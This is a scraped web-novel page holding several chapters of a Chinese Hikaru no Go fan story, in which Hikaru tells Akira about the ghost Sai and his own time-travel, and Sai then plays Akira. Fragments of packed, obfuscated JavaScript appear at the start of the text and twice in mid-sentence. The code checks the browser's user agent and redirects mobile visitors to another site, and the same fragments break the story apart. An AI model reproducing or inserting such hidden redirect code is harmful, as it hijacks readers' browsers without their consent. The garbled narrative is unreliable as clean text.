0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132552|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,还替他庆祝生日,这可是他八辈子的福气!来,我们喝一杯!” “喝一杯?” “不是酒啦,是长得像酒的乌龙茶而已,来来来,高低走一个!” “行了,爷爷,你别摆出那副想吃了他的表情!塔矢会当真的!”光把他推开,免得平八继续做出什么失礼的举动,“我们去阁楼玩啦!待会再下来陪你喝茶!” “阁楼?你咋又对那个地方感兴趣了?”平八搞不懂他孙子整天都在想什么,“之前从我这儿顺走的那棋盘,有在好好用吗?” “啊,爷爷是在说那只浮木盘?”佐为高兴地举起了手。 一提到那只棋盘,他就会想起和虎次郎一起下棋的日子。已经过去了这么多年,但他们存在的痕迹却依旧保留着。棋盘的寿命,居然能比人的生命还长。那里就像是他的家一样。 不过,自从小光把它搬回了自己家,他就一直能在那只棋盘上下棋,已经很幸福了。 “当然了,你以为我每天会下多少局棋?”光先是随口回答了平八一声,随后拉起塔矢亮就往楼上跑,“塔矢,快点!” “棋盘?什么棋盘?” 塔矢亮还是没太弄清楚进藤光和他爷爷之间的对话,就被拽紧了手腕。棋盘……和幽灵有什么关系吗? 此时的光已经兴致勃勃得不想再多费口舌了,总之,先上去再说,他可有一个超级无敌长的热血故事要讲给面前的一人一鬼听呢! 五分钟后,塔矢亮在光指定的地板上安安静静地坐好了,就像在听老师讲课的幼儿园小朋友。佐为也认真的坐在了他身旁。 两人都在等待,等待进藤光最后的倾诉。 光却突然有点不安起来。 昨晚,他花了一个晚上的时间思考陈述历史的方法,想说的话实在太多,积压了这么多年,似乎不论用什么也的方式说出口,都会减少原本的重量。但是,他又不能继续把那些事吞在肚子里。 被塔矢这样直勾勾地盯着看,突然好紧张哦。 “进藤?”亮微微向右偏头,像在提醒他不要忘了两个人的约定,“刚才忘了祝你生日快乐。礼物我下次会补上。” “啊……谢谢。抱歉,总觉得有点不好意思。” 光摸了摸后脑勺,干笑了两声。 该从哪里说起好呢……他深吸了一口气。 阁楼里的光线很糟糕,在昏暗的视线里,天窗上投下的淡淡光芒一如当日。 旧事仿若潮水一般涌上心头。 “棋盘,对,就是那个棋盘。在我十二岁的时候……”光望着光线中盘旋的尘埃,将记忆追溯回遥远的过去,声音也变得格外低沉,“在一个12月的下雨天,我在这座阁楼里,发现了一只古老的棋盘。一切……就是从那只棋盘开始的。” 果然是棋盘的故事。亮马上做出了合理推断:“是你爷爷说的那只棋盘吗?” “对。”光也坐在地上,严肃地点了点头,因为他知道接下来自己要说的话都具有强烈的虚幻感,“我爷爷可能自己都不知道……那是本因坊秀策本人用过的最后一只棋盘。” 这句话一出口,就算是“做好了心理准备”的塔矢亮也惊呆了。 “——秀策?!” 他知道进藤光和秀策有关系,没想到光的爷爷家还藏着这么难得的宝贝。如果真是秀策用过的棋盘,到现在一定价值连城了。 不过,很显然,这个故事的核心并不在棋盘的价格上。 “我一眼就看到了棋盘上的血迹。”光的眼前浮现出了那只棋盘的影子,他伸手在空气中做出抚摸的姿势,“就在一边的角上。秀策死前,由于突发恶疾而口吐鲜血,血溅到了棋盘的一角,再也无法擦去。” “……” 亮不由得听得入神了。 光却开始了转折:“但是,奇怪的是,能看见那滩血迹的人,只有我。” 能看见血迹的人……只有他? “什么意思?”亮皱起了眉。 “说来你可能觉得不可思议。在那只棋盘里,寄生着一个平安时代的幽灵。”光一举说出了最核心的内容,“他的名字叫,藤原佐为。” 这四个字让亮再也无法保持冷静。 “什——” “没错,就是我的老师,藤原佐为。” 光再次点了点头。 ●○●○ 86.Chapter 85. 你的初遇是我的循环 这四个字足以撼动塔矢亮眼中最后的理性。他一时张大了嘴,一个字也说不出来。光预料到了亮会吃惊,毕竟,宣称这种只会出现在小说漫画里的情节真实地发生在自己身上,换作任何一个正常人,都会首先怀疑进藤光是不是患上了臆想症吧。 没想到,亮的接受能力似乎比他期待的更强。 不久后,他便单手捂嘴控制住这份惊异,试探着抬起睫毛,从下往上,投来锐利的视线。 “……网上的那个sai,就是……他?” “我没有在骗你哦。”看他这么紧张,光咧嘴笑了,“我说过的吧,sai由于某种缘故,无法面对面地和别人下棋,所以只能在网上约战。幽灵就是这样啦。” 竟然是如此。亮若有所思地托着下巴。这样一来,那些不合理的地方反而说得通了。 “我还以为是sai患了什么难以见人的重病,或是天生孤僻,不愿与人打交道……” “那是我想让你们以为的。”光挠了挠鼻子下面,继续说,“因为,直接说sai是幽灵的话,肯定不会有人相信嘛!何况sai还曾经附身在本因坊秀策的身上过!你们认为的秀策下的那些棋,其实都是sai下出来的哦!” “什么?!秀策的棋,都是sai下的?不,等等,但是……” 亮还是觉得太过难以置信。他的心思开始混乱,自从进藤光开始讲故事,全新的概念就一个接一个地冒了出来,每一个都能彻底摧毁此前的世界观。 “这还只是故事的开端呢。”光慢慢垂下了眼睛,他话里的兴奋也逐渐变成了朴素,“请你继续听我说。” 他是认真的。亮选择了保持沉默。 光抬头望着佐为。 “那个时候,我还是一个对围棋一无所知的小屁孩。佐为突然出现在我面前,让我不知所措,也十分烦躁,他整天哭喊着要下棋、要下棋,我出于无奈,才带他去了围棋会所。”他左手搭在膝盖上,右手撑着地面,目光毫不迟疑地转向了亮,“在那里,我遇到了你,塔矢。” “就是你第一次赢我的那天……确实是12月。”亮也不禁回忆起了他认为的过去。 “不对哦。”但光摇了摇头,“这是另一个时空的故事。” “诶?” “和你下棋的人不是我,是佐为。不过当时的你并不知道,你满心以为下棋的就是我这个甚至不会拿棋子的小孩。”光的笑容一点点变得苦涩,“看到我笨笨的手势,你就觉得这一局一定会很无趣,可结果完全相反——佐为太过轻易地赢了你。他全程掌控着棋局,从遥不可及的高处,就像在下指导棋一样。最后你输给了他两目。” 但那不是互相缠斗、历经艰辛才得到的两目。 而是佐为故意让给他的两目。 亮的眸子开始闪烁。他能想象那种情景,毕竟进藤光第一次和自己下棋时,自己的确有那么一瞬间,产生了类似的感觉。 但当时进藤拿棋子的方式明明很熟练、一看就是下棋的老手啊,而且他们的对局也是自己中盘认负,远不止两目之差。 不等亮提出疑问,光接着说:“你受到了打击,你一直以为在同龄的孩子里没有对手,却发现,竟然有人用初学者拿棋子的方法下出了令人毫无还手之力的好棋,这场失败彻底碾压了你的自信。你犹豫过,彷徨过,最后,你在儿童围棋大赛结束后再一次找到了我,你决定不再逃避——你主动要求与我重新下一局。佐为答应了你的请求。” “那是……不对……那天明明是绪方先生和你……” “我说过了,这是另一个时空的故事。”光示意他别再说话。 亮抿了抿嘴,没有多言。 “说来惭愧,当时我对职业围棋毫无概念,一不小心就在你面前说出了‘随随便便做个职业棋士,再赢它三五个头衔’这种话。你会生气也难怪。我的手指上没有任何学棋的人应该有的茧,连数清棋子的位置都要花费很久的时间,还把围棋看作赚零花钱的工具。你不允许自己输给这样一个轻视围棋的人。但是,在你全力以赴之后,你还是输给了我——正确地说,是输给了sai。彻彻底底的惨败。根本没能坚持到收官。自己十年来的不懈努力就像石子丢进大海一样毫无反应,你陷入了更深的自我怀疑,很长一段时间,你都不想再见到我。” “抱歉,我不明白你在说什么,进藤。”亮忍不住出言打断了他。 因为进藤光所说的故事,和他经历过的过去已经出现了很大的偏差。他认为光是在开玩笑。或者,无论什么理由,记忆出现了漏洞。 “这只是个故事。”光示意他安静下来,“听到最后,你就会明白的。” “……” “你不甘心的表情让我很难受,但同时,也对围棋产生了一点兴趣。后来,我在叶濑中学的学园祭上遇到了围棋部的筒井前辈,他想参加比赛,却凑不够人手,我便被他拉去帮忙,渐渐喜欢上了围棋。比赛进行的场地在海王中学。第一局是我自己下的,不是佐为,而是我。我想用自己的思考去落子,因为我觉得围棋很有趣。” 光的脑海中,出现了他无视佐为的指令,强行自己迎战的画面。 那时候的自己,真是天不怕地不怕。 只是单纯地、想在棋盘上创造一片自己的宇宙而已。 然后光有点害羞地挠了挠脸颊,“想也知道,结果那叫一个没眼看,初学者能犯的毛病我都犯了个遍,第一局直接败得落花流水。旁边的加贺前辈看不下去了,用激将法让我第二局绝对不许输……很遗憾,以我的实力,在那种情况下是不可能赢得了的。于是我……就把下棋的指挥权交给了佐为。” 光还记得自己擦干泪水、赢得那场毫无喜悦可言的胜利时的感觉。 “那局棋我是边哭边下完的。最后,佐为果然反败为胜了。而那天,你正巧在海王中学校长的带领下参观学校,见到我的瞬间,你再次被我的棋力震撼到,因为你看到的是佐为下出的、优美有序的高水平的一局。你很遗憾,不能成为那一局的另一半。” 他也记得塔矢亮用难以忍耐的羡慕和心酸,表扬着那一局时的表情。 “你觉得,如果不下赢我的话,你可能一辈子都无法直面自己的内心。于是你鼓起勇气再次向我发起了挑战。然而这一次,却轮到我逃避了。” “为什么?” “因为在我自己开始学棋之后,我才知道你有多厉害。”光想掩饰内心的不安一般,轻轻捂着前额,在别人面前讲述这些矛盾重重的过去永远是件难事,尤其对面这个人还是他最在意的塔矢亮,“最开始我赢你的那两局,都是sai在下棋,你追逐着我身上的sai的影子,这让我很愧疚,也很不甘心。于是我决定自己变强之后,用自己的力量与你对局。我加入了叶濑中学的围棋部,想磨砺自己的实力。” “……进藤,我记得你其实是在佐和良中学念国中吧?” “是啊,所以说这是另一个世界的故事啦。”光摆了摆手,“我继续说咯。为了和我对弈,你不惜放下矜持加入了海王中学的围棋部,还在那里遭受了校园冷暴力,职业水平的你在那种地方只会变成众矢之的,但为了和我对弈,你还是选择了忍耐。就这样终于,你坚持到了6月的第二届中学围棋大赛。你本应作为海王的主将出战,却因为我在叶濑中学担任三将,而自己放弃了主将的位置,恳求老师让你做海王的三将。可想而知,你遭了多少人的白眼。” 亮没有说话。 他聆听着进藤光的故事,已经入迷了。 “对局开始了。我学围棋才没多久,技艺生涩得可怕,根本没法和你相提并论。我惨败了。” 说到这里,光的眼中流露出了几分萧瑟的意味。 “小光……” 一旁的佐为也听得满脸都是惊奇的神色。他没想过光会给他说这个故事听,但是,怎么说呢……虽然有点不可思议,却十分激烈。这个故事很有趣。也相当符合逻辑。按照常理,如果小光只是个普通的12岁少年的话,或许现实就是应该这样进展吧。 但,在佐为看来,他第一次遇到小光时,小光就拥有了那么高强的实力,也是事实。 难道这个故事是他的想象吗?一个不会下棋的小学生遇到了棋艺精湛的平安贵族的幽灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162181|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后两个人开始了一段围棋征途的幻想?在佐为困惑的目光下,进藤光继续说着自己的故事。 “我惨败后,你无法压抑自己的愤怒。因为在你眼中,我是一个棋力高不可攀的围棋鬼才,不可能下出那种烂得难以言喻的臭棋,你认为是我看不起你、是在嘲笑你、是在玩弄你的真诚之心。” 他顿了顿。 “然后,愤怒之下,你留下那局不成章法的棋,头也不回地离开了比赛现场。” “……” “我输得彻彻底底。”光有点想哭,他被那种旧时的情感所支配,就回想起了太多难以忘却的细节,一切都新鲜得历历在目,“曾经以为和你之间没有那么大的差别,却还是没能看清你的棋路。也是,初学者怎么可能和职业级别的人水平相当嘛!这也是没办法的事。无奈之下,我努力在叶濑中学的围棋部里锻炼棋力,想让自己变强。而你,再也不对我抱有任何期待,退出了海王的围棋部,参加了那一年的职业棋士考试。没错,原本应该在今年考上新初段的人,只有你,塔矢。” 他说到这里时,停了下来。 姑且算是改变了他的未来,还是给他说一声比较好。 塔矢亮越来越摸不着头脑了:“等等……你说只有我考上了职业棋士?那你呢,进藤?” “我?嗯……我靠着自己的学习,去参加了院生的考试,在你以几乎全胜的战绩疯狂横行于低段棋士之间时,我在院生里的排名一点点往前靠,也认识了很多好朋友,比如和谷,比如伊角,比如本田,阿福和奈濑……” 说起院生时期的好友的事时,光才打起了一点精神。他们都是群很有趣的人啊,能遇到他们真的太好了。 “我记得……他们几个确实都参加了今年的职业考试。” “对。而且我还和和谷一样在森下老师的研究会里参与讨论呢!你知道吗?他们整天都把塔矢研究会的人当成劲敌,森下老师还会挨个鼓励我们超越塔矢门下的同等级的对手,把他们赢得面目全非——他是这么说的啦。”光觉得这个差别还蛮好笑的,因为在这边的世界,他加入的是塔矢门下,彻底变成了曾经的老师的敌人,“……但是,围棋本来就不是一蹴而就的事。我花了很久的时间沉淀技艺,第二年,我报名参加了职业考试,与和谷和越智一起成为了新初段。我想追上你。无论如何都想追上你。” 那拼命前进的奋斗欲,那少年独有的热血沸腾,照亮了进藤光的前路。 光慢慢地将视线转向了佐为。 “当然,在那之前的暑假,佐为也以sai的名义在网上展开了征程,只不过,在那个世界,他与塔矢老师的对局进行得比较晚,所以你爸爸的隐退也是几个月之后的事。我的新初段联赛还是和塔矢老师下的呢!” “诶?!”亮不禁叫出了声。 “很惊讶吧?我也很惊讶,真的。佐为刚回现世的时候,我和塔矢老师就偶然遇到过,当时下了没两手我就中途跑了,所以塔矢老师后来指名我当他的对手,我知道他想看到的是sai的棋,就只能答应佐为,让他来下。不过新初段联赛有两颗让子,佐为必须想方设法不暴露自己,反而没能和塔矢老师好好下到最后。” “这就是你说的……按照让给父亲15目的假设来下棋……的来源吗?”亮恍然大悟。 光挤出一个笑容,“差不多吧。所以到了第二年4月的时候,sai才第一次在网络上与塔矢老师正式对局。” “然后呢?结果如何?谁赢了?” 亮已经完全在把它当成一个冒险故事听了,他迫不及待想知道结局。 “佐为赢了,赢了半目。两个人实力相当,激烈的对抗一直持续到最后一秒,他对这一局十分心满意足,那确实是绝世的对弈,全世界的人都为之心驰神往。但我却在检讨棋谱时,看出了佐为在那一局里的潜在漏洞。”光的语气渐渐下落,他害怕自己会说不下去,“……我找到了能令他失败的一步棋。如果那样下了,赢的就是塔矢老师了。我的成长令佐为格外惊讶,也令他非常不安,他感觉,自己停滞的时间……再一次开始转动了。” ●○●○ 87.Chapter 86. 佐为的存在 上天可能就是为了让进藤光看到那一局棋,才将佐为的幽魂挽留于世千年吧。 站在现在的进藤光的角度,这样解释是合理的。但在感性上,他还是无法接受佐为的不辞而别。 “从那之后,佐为就急着想和人对弈。和谁都行,怎么下都行,他的时间不多了,哪怕多下一局棋,也是不可多得的宝物。可我理所当然地认为,一个已经留在现世一千年的幽灵不会突然消失,所以他说自己可能下不了多少棋了的时候,而我却只当他是在撒娇,完全没有注意到他真正的想法。我一点都没替佐为考虑。只是自私地想着自己的事。” “小光……” 代入到这个故事的情境之中,佐为失去了言语。 光直直地看着他。 瞬间,光的眼眶里噙满了泪水。 “——就在五月五日那天,他消失了。” “消失了?……你是指……sai吗?” 注意到进藤光的失态,亮往前挪了一点,想听清他的话。 啪嗒。 泪水滴落在地面上,将棕色的木纹染得更深。一滴,两滴,三滴,怎么也停不下来。 光使劲攥紧膝盖上的裤腿,想借此让自己平静下来,可是,咦,真奇怪,为什么就是没办法止住眼泪……不可以这样,塔矢还在看着呢!他不能在他面前示弱! “毕竟佐为是个幽灵啊。”光努力收起自己难过的表情,劝自己这些都是过去的事了,可还是没法立刻微笑起来,“那天我们从外地参加完棋院的活动回家,佐为吵着闹着一定要和我对弈,下棋下到一半的时候,我倦了,稍微打了个盹儿,再次睁眼的时候,佐为就已经不见了。一句话也没有留下。” “……” 亮伸出去安抚光的后背的手悬在了半空。 他仿佛也看见了,在阳光下温暖地飘扬着的窗帘,以及空空的房间的景象。 “起初我以为佐为只是生气了、躲起来和我闹脾气。可我哪里也找不到佐为。不在家里,不在棋院,不在围棋会所,不在学校,也不在爷爷家。那时候我才意识到,他是真的不在了。哪里也不在了。” 光怎么也无法抬起头。 眼泪还是控制不住地继续噙满眼眶。 “而且,棋盘上的血迹,原本只有我能看到的血迹,也一起消失了。变得干干净净,再也没有任何熟悉的气息。”他闭上了眼睛,不想让泪水流下来,“我痛恨自私的自己,连续好几个星期都没有参加棋院的手合赛。在那种情况下怎么可能有对局的心情呢!失落了一阵子以后,我前去了本因坊秀策的家乡——因岛,想在那里找到佐为的存在,我一连去了他的好几个墓地和曾经逗留过的古迹,却无功而返。在因岛的围棋会所和别人下棋的时候,我产生了幻觉,我听到了佐为的声音,我以为他还在我身后,但是一回头,却发现那里空无一人。” 他弓起了背。 佐为觉得他可能正沉浸在无限的悲伤里。他想劝他,却什么也说不出口。 “我再也找不到他了。这是老天对我的不成熟的惩罚。因为我是个自私鬼,只想着自己下棋,他就召走了我最重要的朋友。而我甚至没来得及和他下完最后一局。那是我……一生中……最大的遗憾。” 光断断续续地说出了这几个字。 他快要到极限了。 再说下去,就会泣不成声。 该死——明明都已经决定了不会再流泪的,为什么一说到这个话题,眼睛里的液体还是不听话地往外冒啊!他明明不想让佐为担心的!给我振作一点啊,进藤光! “进藤……” 塔矢亮终于下定决心,用力按住了他的肩膀。 来自挚友的安慰起到了一点作用。光稍微冷静了一些。他重新看着佐为,对佐为点了点头。 “我没事。” “小光,如果不想说的话,就别勉强自己……” 佐为和他的心情是彼此相连的,进藤光难过的时候,佐为也能感知到他的悲伤。 所以佐为知道光此刻说的都是真话。 他决定,即使不知道真相,也不要再让光哭泣了。 但光却毅然决然地说了下去:“为了让佐为回来,我发誓我再也不下棋了,以后所有的棋都让给他下,只要他肯回来。我再也没有摸过棋子,研究会,手合赛,围棋部,全都不去了。直到有一天,没能考上职业棋士的伊角先生从中国学习回来,听说我再也不下棋,就强硬地来到了我家,逼我拿起棋子和他对弈最后一次。然后我终于发现了,我还是……没办法欺骗自己。我喜欢下棋,喜欢得要命。因为只有在下棋的时候,我才能清清楚楚地感知到佐为的存在——他,就在我的棋里。” 佐为就躲在他的棋子中,在他的棋盘上,在他每一局每一局的对弈里。 要是他不下棋的话,就再也见不到佐为了。 这就是当时的进藤光全部的心情。 他根本无法欺骗自己对围棋的热爱。那是记住佐为的唯一方法。 “我重新开始下棋。”他擦掉眼泪,说,“10月的时候,有场名人头衔赛的预选,我遇到了你,这是我们第一次、以相近的水准、堂堂正正地在正式比赛里对局。虽然我输了,但我感到自己已经接近了你,你不再那么遥不可及。我想依靠自己的力量,成为你的对手。” 塔矢亮的表情也严肃了起来。 他感受到了光的心情。就像这一次职业考试上两人的交手一样。好不容易快要追上锁定的目标的心情。 “那天晚上,我梦见了佐为。”光的脸上终于露出了笑意,“他把心爱的扇子递给了我。虽然他别的什么也没说,我知道,自己应该迈出新的一步了。” “原来如此……”亮想起光那把时刻不离身的宝贝折扇,“所以你才对那把折扇情有独钟……” “原本故事应该到这里就结束的。”光掏出扇子注视了一会儿,把它递给了亮,亮有些惊讶地收下,然后光继续说,“但是,好景不长。我的未来没能像我想的那样前进。塔矢,你在围棋上的才能和勤奋都是独一无二的,所以你的成功也无法复刻。过了几年,世界的格局都发生了变化,中国的围棋突然复兴,一下子出了好几个年轻气盛的少年棋手,韩国人也很厉害,他们之中最强的人年仅14岁就拿到了世界冠军。塔矢,你在17岁时也拿到了第一个名人头衔,开始向世界比赛进发。而我,也不知是哪里遇到了瓶颈,直到25岁,还苦苦挣扎于日本国内头衔战的最终胜负,最后……也不过是个七段而已。” 自己悲惨的过去简直说出来都让人觉得害臊。 但光还是顶着压力把它们说完了。再怎么害臊,这也是事实。他没打算说谎掩盖。 亮顿时把眉头皱得更紧了。他一时半会还没办法消化掉这么巨大的信息量。尤其是,这个故事还一直讲到了他们十年后的未来,他完全想象不了具体的情形。 面前这个能与绪方先生下到平分秋色的鬼才进藤光,居然到25岁也没能拿下头衔?不可能吧…… “这只是……你的梦吗?”亮确认道。 “也许是吧。也许不是。”光将另一只手盖在亮的手上,反过来握住自己的肩,“我无法逃离这场噩梦。我愧对佐为的教导,也没能真正成为配得上你的对手。心中的懊悔使我在棋院的古籍室里失声痛哭。结果,也许是上天想和我开玩笑吧……等我醒来的时候,发现自己竟然,回到了十二岁的那年。” “啊……” 亮感觉,这个故事,似乎在某处已经与他认为的“真实”串联起来了。 ——尽管,是以某种不可理喻的逻辑。 光定定地看着佐为。 “我又一次,遇见了你,佐为。” 他这句话是直接说出口的。所以,塔矢亮也听见了他的对佐为的倾诉。 “佐为?”亮赶紧看了看四周,但他什么也看不见,“你是说……” “他现在就在你身边哦,塔矢。” 光笑了。 佐为的确就在塔矢亮的身边,他正用惊呆了的表情、微微张着嘴,对进藤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176818|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光眨巴眨巴眼睛,似乎还不太能接受光口中的那个故事。 亮顿时产生了一种毛骨悚然的感觉。 “诶?” “我知道这听上去像是在胡说八道。”光想了想,说,“不过,想证实这件事的方法,有很多很多。” “等等。我理一下。佐为是……幽灵,秀策和sai的棋其实都是他下的。”亮抬手让光给他一点时间确认一下关键信息,“而你是……从25岁回到过去的……另一个进藤?!” 理解能力拔群! “差不多可以这么说吧。”光很开心他的叙述没有出现混乱,塔矢亮看上去是听明白了。 不是看上去,是“就是”明白了。但这个故事究竟还是太离谱了一点。即便是心里明白了,要在理性上完全接受也还需要一些时间来调理。 “我应该……说点什么好呢?”亮的眼珠四处转着,没法停留在固定的位置,“抱歉,我现在还有点混乱……” 他会觉得难以接受也是很正常的。 光笑了笑,说:“我只是觉得必须把这件事告诉你才行,塔矢。你是我追逐了一生的对手,这一点不会改变。虽然现在我们的位置似乎颠倒过来了……但我们共同进步的目标还是一样的。还有,我想阻止佐为的消失,无论如何都想阻止,塔矢老师回家后和我对弈的那一局里,我有几次都险些没听见佐为的声音,要是他再消失一次,我一定会一蹶不振的。所以我才会在职业考试之前匆匆前去因岛。佐为没有多少时间,在后年的五月五日之前,不管用什么办法,我都得找到关于他消失的线索。” 话题回到了他执意前去因岛的原因上。亮觉得一切都接起来了。他唯一还在对抗的,是一个人突然在某天回到过去的可能性——没人会觉得这事是真的,不是吗? “小光。”佐为却立刻接受了这个故事,因为他是幽灵,本来就属于超现实的存在,对这些怪谈的接受能力很高,“我……会在两年之后消失吗?” 他在担心这件事啊。 “曾经是的。”光老老实实地说,“但我也不确定这次会不会。” 佐为点了点头。 光还以为他会陷入恐慌,但佐为只是淡淡地笑了起来。 “那个时候,小光已经成为独当一面的棋士了吧?”佐为说。 “嗯?” “即使没有我的帮助,也能一个人成长下去了吧?所以去年12月我们相遇的时候,你才能下出那么好的棋!”他的笑容十分真挚,让光忍不住鼻子一酸,“我觉得很开心呢,小光!” “别这么说,佐为。”他连忙摇了摇头,“你知不知道你走了之后我有多难过!我根本没有一个人成长下去!所以才会哭着求围棋之神让我重返过去!能再次见到你简直就是个奇迹!所以我绝对不会眼睁睁地看着你消失的!绝不!” 他说得这么激动,亮顺着他的目光往前望去,却看不到佐为的影子,只能强忍着这股违和感,举起右手,问:“你是在和佐为说话吗,进藤?” “是啊。”光呆呆地回头看着他,“哦,我想你从现在起就该适应了。只有我能看见他嘛……” 要是他认为进藤光是精神分裂了可就难办了。毕竟,要说佐为是存在于光的想象里的人,倒也说得过去。医生们肯定会这样解释的。他可不想被当成精神病关去医院!要不是塔矢亮信得过,他也不会一股脑地把这些秘密都倒出来。 亮欲言又止。他似乎还有什么很重要的话想说。 就在进藤光纠结于这些问题的时候,佐为突然举起了双手。 “小光!” “什么?” “让我和他下一局吧!他似乎还不是很相信的样子!” 佐为还是第一次被进藤光以外的人知道自己的存在,他对于塔矢亮的迟疑表示了不满。他也希望自己真的能被他接受。作为一只幽灵,这也是他唯一能做的事了。 “……也是。”光“啪”地拍了一下手,说,“塔矢,我们来证明一下佐为的存在吧!” ●○●○ 88.Chapter 87. 藤原佐为vs“塔矢亮” “证明?” 塔矢亮似乎对这个提议很感兴趣。 他是无神论者,此前也从不相信鬼神的传说,可是,事实已经改变了他的想法。也许这个伴随他长大的信条是时候分崩离析了。sai他……是真的存在着吗……以幽灵的形式? “爷爷!”光快活地跑下楼去,找到了整理书柜的进藤平八,笑容堆满了小脸,“能不能借个棋盘使使?” “又要棋盘?最值钱的那个不是已经归你了吗?”平八嫌弃地摆了摆手,“去去去,我这儿可没那么多宝贝。” 一看就是上次那个棋盘太过昂贵,被孙子给骗走之后内心一万个不舍得了吧!他就知道! “不是,就想下一局棋而已。”光把身后的塔矢亮推到前面来,作为自己的佐证,“我和塔矢的对局,两个刚成为职业棋手的新初段的对局哦,你不想看吗?” 听到这话,平八眼中迸发出了无限的光彩。 “真的?”他瞪着眼睛问,“可不许骗我!” “我为什么要骗你呀……”光无奈地耸了耸肩。 他这个围棋界有名的新人,加上一直都很有名的塔矢亮,要是公开向围棋爱好者们摆一局表演棋,估计卖门票都能收回不少成本、说不定还能大赚一笔吧!他就是看准了爷爷这一点,才会由此提议的。 不过,想到进藤光的实际年龄是25岁,还要模仿小朋友说出这种撒娇的语气,亮顿时莫名觉得有点可爱。 平八抱出了一只看上去比较新、但也带了棋墩的黄杨木棋盘。上了年纪的业余棋手能保持棋盘的干净整洁,他已经很满意了。于是,光和亮在这只普通棋盘的两侧坐下,进藤平八喜滋滋地坐在另一侧围观起他们的胜负来。 抓起第一颗棋子,塔矢亮深吸了一口气。 他在控制自己的紧张情绪。刚刚得知了那样的惊天秘密,他还有些将信将疑,而对手又是只闻其名未见其人的sai。sai的实力比进藤光更强,只要下完这局棋,他自然就会有自己的答案。 自从与进藤光相遇后,他就一直在克服自己的畏惧与他对弈。塔矢亮对高段棋士的压迫感已有足够的经验。 只要他不被sai彻底压倒,就有办法把这局棋下下去。 不过,今天的这一局却有所不同。亮夹起棋子的手微微颤抖——因为他太激动了。 佐为严肃地看着他。他就在这里,这一局,正是为了宣誓自己的存在而进行的,因此他一定会全力以赴、让对面的亮清楚地知晓自己的强大。要赢,就必须赢得足够彻底,以最快的速度将对方击败。 “怎么下?需要让子吗?”光问。 亮先是顿了顿,扭头看了看身后,才摇了摇头。 “不,还是分先吧。” 虽然名义上光比亮强一些,但职业棋手之间的差距是很难确定的,一开始就选择让子实在不是他的风格。也许他还是想尽量维持“第一次正式对弈”的神圣感?光如此推测。可是,不知为何,面前这个塔矢亮总散发出一种和平时有所不同的气场。 平八喝茶的声音转移了他的注意力。光连忙收起别的心思,二人互相道过了“请多指教”,棋局便就此开始了。 藤原佐为执黑先行。 佐为把扇子从嘴边抽离,面对棋盘,发出了与往常极为不同的指示—— “第一手,天元。” 光的眼睛不受控制地转向了身后:“天元?!” 为什么会是这么不“秀策”的一局?佐为不是想用这一局来证明自己的存在吗?还是在故意考验塔矢亮的能力?进藤光很吃惊,但现在不是讨论细节的时候,佐为这样选择,一定有他的理由。于是光定了定神,依照佐为的指示放下黑棋。 哒—— 棋子落下时,塔矢亮和进藤平八都惊得同时朝后抬起了下巴。 竟然下在天元?!他是认真的吗?! 比起进藤平八纯粹的“没见过”,亮则只是默默地盯着棋盘上唯一的那子棋,好久、好久…… 仿佛暂时被那颗黑子给迷了心神一样,亮一动也不动。 “……” 时间慢慢过去。 他是在等什么东西吗?平八的眉头越皱越紧,就算人家第一手是天元,可白棋没必要也犹豫这么久吧,没见过这样瞎下棋的啊,如今的职业棋士都是这样任性的作风吗? 伴随着他们的期待一同到来的,是庞大的压力。每次输赢确定后得到夸奖、或是失望之类的事,这些亮早已习惯了。而现在他却完全没感觉到这些。过于新奇的体验让他双眼充满表达欲,排除掉外界的干扰,棋盘上的可能性是无限多的。 亮盯着佐为的那一子。 他好像是在用尽心力在推测之后会演变的所有可能性,尽管为时过早。 棋盘上纵横十九乘十九条的线,总共有三百六十一个地方能放子。如果不管光刚刚放的那一子,亮能放的地方还有三百六十处。然后光放子后则剩下三百五十九处。光是这三子的往来,就能得到四千六百六十五万五千六百四十个可能性。 是为了遥远的变化而退缩,还是向前?这是每个人的自由。这是透过围棋,任谁都没看到的风貌。 经过长长的思考后,亮放下白子,在小目。 还好没再来个怪招,光松了口气。但进藤平八还是觉得很奇怪,小目在诸多开局里算是一手很常见的下法,这么普遍的下法竟然就想了这么久。他实在想不通为什么亮需要考虑这么长的时间。 可是不懂归不懂,他还是震慑于塔矢亮的压迫力,很快就冷静了下来。 “右上角,星。” 佐为说着,光依照指示放下棋子。 棋面展开,换亮下子。 佐为盯着棋面上的四颗棋子。 从秀策时代之后,他不得不体会到这一百四十年岁月的改变。围棋总是会经过日积月累的磨练后,逐渐迈向更高的境界。听完进藤光刚才的故事之后,佐为打算久违地用“全新的”秀策流来决一胜负。 毕竟他才是真正的秀策,只要是他下的棋,就是秀策流。 佐为的嘴角浮现隐隐的微笑。 两人都没有慌乱呢,开局那手天元的特别尝试仍在引导棋局的走向,但亮也做得很好,毫无退缩之意。能与充满朝气的对手一起追求最好的一步棋,佐为内心里盈满了喜悦。 亮节节进逼的气势让佐为的心里有如沐春风般神清气爽。 “……下一步下尖似乎有点温和。这么一来还是下夹比较快。最终目的还是要把中央的天元连起来。” 